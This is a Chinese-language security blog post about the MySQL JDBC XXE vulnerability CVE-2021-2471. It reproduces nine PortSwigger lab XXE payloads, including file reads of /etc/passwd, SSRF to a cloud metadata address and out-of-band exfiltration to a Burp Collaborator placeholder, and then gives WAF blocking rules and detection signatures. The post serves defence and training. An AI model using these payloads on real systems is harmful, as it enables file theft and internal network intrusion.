
JDBC,全称Java Database Connectivity(Java数据库连接),Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供诸如查询和更新数据库中数据的方法。
mysql数据库隶属于Oracle公司。
Oracle MySQL JDBC XXE漏洞(CVE-2021-2471),阿里云安全团队发现的。
https://mp.weixin.qq.com/s/erIFMiPNB2XSBJSqXyxuKg
这MySQL JDBC 8.0.27版本之前,存在"getSource()"方法未对传入的XML数据做校验,导致攻击者可以在XML数据中引入外部实体,造成XXE攻击。
目前尚无POC或EXP,可以按照防范一般XML实体注入的办法改进自定义阻断策略。
先知社区有一篇文章叫《一篇文章带你深入理解漏洞之XXE 漏洞》可以作为比较好的参考。
vulhub靶场有两个漏洞样例:
PHP环境 XML外部实体注入漏洞(XXE)
https://vulhub.org/#/environments/php/php_xxe/
Apache solr XML 实体注入漏洞(CVE-2017-12629)
https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/
portswigger漏洞实验室有9个样例:
博客园lonmar的文章《BurpWeb安全学院之XXE》有完整的实验复现。
portswigger对xxe漏洞的解释
https://portswigger.net/web-security/xxe
portswigger对XML实体的解释
https://portswigger.net/web-security/xxe/xml-entities
一.外部实体利用XXE漏洞任意文件读取
在 XML 声明和stockCheck元素之间插入以下外部实体定义:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
二.利用XXE进行SSRF攻击
在 XML 声明和stockCheck元素之间插入以下外部实体定义:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
三.带外交互的盲打XXE
在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
四.XML参数实体进行带外交互的盲打XXE
在 XML 元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>
五.恶意外部DTD利用XXE
将 Burp Collaborator 负载放入恶意 DTD 文件中:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;
在 XML 声明和stockCheck元素之间插入以下外部实体定义:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
六.通过错误消息盲打XXE
单击“转到漏洞利用服务器”并将以下恶意 DTD 文件保存在您的服务器上: 导入时,此页面会将其内容读入实体,然后尝试在文件路径中使用该实体。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
/etc/passwdfile
在 XML 声明和stockCheck元素之间插入以下外部实体定义: 您应该看到一条包含文件内容的错误消息。
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
/etc/passwd
七.复用本地DTD进行XXE攻击
在 XML 声明和stockCheck元素之间插入以下参数实体定义: 这将导入 Yelp DTD,然后重新定义实体,触发包含文件内容的错误消息。
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
ISOamso/etc/passwd
八.XInclude任意文件读取
将productId参数值设置为:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
九.上传图片利用XXE
使用以下内容创建本地 SVG 图像:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
很多WAF设备有默认策略阻断XXE漏洞攻击,依然不妨碍我们自定义。
一.主要策略:
同时满足1,2两个条件的请求,直接阻断,可以拦截大部分的XXE攻击,请求参数,请求头值都应用是为了保险起见。
1-POST,GET请求参数或请求头值中同时包含<!DOCTYPE和<!ENTITY,而且区分大小写。
2-POST,GET请求参数或请求头值中包含SYSTEM或PUBLIC
二.补充策略:
满足1或2之一的,直接阻断。
1-POST,GET请求参数或请求头值包含<!ENTITY一项,且包含file://或php://或ftp://或/etc/passwd
2-POST,GET请求参数或请求头值,同时包含xmlns:xi和xi:include两项,且包含http://。
三.应用流量监测策略
1-返回包是否包含
root:x:0:0:root:/root:/bin/bash或bin:x:1:1:bin:/bin:/sbin/nologin,
很多探测会优先用/etc/passwd。
2- 请求参数或请求头值是否包含<!ENTITY关键词,去发现没有被清洗的流量。
编码绕过WAF的可能性也存在,此外要关注好漏洞分析详情和POC,EXP的公布。




